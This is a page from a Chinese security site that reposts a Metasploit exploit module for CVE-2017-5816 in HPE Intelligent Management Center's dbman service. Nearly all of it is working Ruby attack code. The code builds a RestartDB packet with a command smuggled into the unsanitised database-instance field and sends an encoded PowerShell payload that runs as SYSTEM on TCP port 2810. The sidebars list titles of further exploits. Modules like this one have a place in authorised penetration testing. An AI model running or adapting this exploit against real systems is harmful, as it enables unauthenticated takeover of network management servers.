首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
HPE iMC dbman RestartDB Unauthenticated Remote Command Execution
来源:metasploit.com 作者:Coles 发布时间:2018-01-10  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'HPE iMC dbman RestartDB Unauthenticated RCE',
      'Description'    => %q{
        This module exploits a remote command execution vulnerablity in
        Hewlett Packard Enterprise Intelligent Management Center before
        version 7.3 E0504P04.

        The dbman service allows unauthenticated remote users to restart
        a user-specified database instance (OpCode 10008), however the
        instance ID is not sanitized, allowing execution of arbitrary
        operating system commands as SYSTEM. This service listens on
        TCP port 2810 by default.

        This module has been tested successfully on iMC PLAT v7.2 (E0403)
        on Windows 7 SP1 (EN).
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'sztivi', # Discovery
          'Chris Lyne', # Python PoC (@lynerc)
          'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
        ],
      'References'     =>
        [
          ['CVE', '2017-5816'],
          ['EDB', '43198'],
          ['ZDI', '17-340'],
          ['URL', 'https://www.securityfocus.com/bid/98469/info'],
          ['URL', 'https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03745en_us']
        ],
      'Platform'       => 'win',
      'Targets'        => [['Automatic', {}]],
      'Payload'        => { 'BadChars' => "\x00" },
      'DefaultOptions' => { 'WfsDelay' => 15 },
      'Privileged'     => true,
      'DisclosureDate' => 'May 15 2017',
      'DefaultTarget'  => 0))
    register_options [Opt::RPORT(2810)]
  end

  def check
    # empty RestartDB packet
    pkt = [10008].pack('N')

    connect
    sock.put pkt
    res = sock.get_once
    disconnect

    # Expected reply:
    # "\x00\x00\x00\x01\x00\x00\x00:08\x02\x01\xFF\x043Dbman deal msg error, please to see dbman_debug.log"
    return CheckCode::Detected if res =~ /dbman/i

    CheckCode::Safe
  end

  def dbman_msg(db_instance)
    data = ''

    db_ip = "#{rand(255)}.#{rand(255)}.#{rand(255)}.#{rand(255)}"
    db_type = "\x04" # SQL Server
    db_sa_username = rand_text_alpha rand(1..5)
    db_sa_password = rand_text_alpha rand(1..5)
    ora_db_ins = rand_text_alpha rand(1..5)

    # dbIp
    data << "\x04"
    data << [db_ip.length].pack('C')
    data << db_ip

    # iDBType
    data << "\x02"
    data << [db_type.length].pack('C')
    data << db_type

    # dbInstance
    data << "\x04"
    data << "\x82"
    data << [db_instance.length].pack('n')
    data << db_instance

    # dbSaUserName
    data << "\x04"
    data << [db_sa_username.length].pack('C')
    data << db_sa_username

    # dbSaPassword
    data << "\x04"
    data << [db_sa_password.length].pack('C')
    data << db_sa_password

    # strOraDbIns
    data << "\x04"
    data << [ora_db_ins.length].pack('C')
    data << ora_db_ins

    data
  end

  def dbman_restartdb_pkt(db_instance)
    data = dbman_msg db_instance

    # opcode 10008 (RestartDB)
    pkt = [10008].pack('N')

    # packet length
    pkt << "\x00\x00"
    pkt << [data.length + 4].pack('n')

    # packet data length
    pkt << "\x30\x82"
    pkt << [data.length].pack('n')

    # packet data
    pkt << data

    pkt
  end

  def execute_command(cmd, _opts = {})
    connect
    sock.put dbman_restartdb_pkt "\"& #{cmd} &"
    disconnect
  end

  def exploit
    command = cmd_psh_payload(
      payload.encoded,
      payload_instance.arch.first,
      { :remove_comspec => true, :encode_final_payload => true }
    )

    if command.length > 8000
      fail_with Failure::BadConfig, "#{peer} - The selected payload is too long to execute through Powershell in one command"
    end

    print_status "Sending payload (#{command.length} bytes)..."
    execute_command command
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Synology Photostation 6.7.2-34
·HPE iMC dbman RestoreDBase Una
·Commvault Communications Servi
·DiskBoss Enterprise 8.8.16 - B
·Microsoft Windows - 'nt!NtQuer
·Microsoft Edge Chakra JIT - 'L
·Microsoft Windows - 'nt!NtQuer
·Jungo Windriver 12.5.1 - Privi
·Microsoft Edge Chakra JIT - Es
·Polygonize PC 1.1 Remote Comma
·Microsoft Edge Chakra - 'asm.j
·TP-Link Remote Command Injecti
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved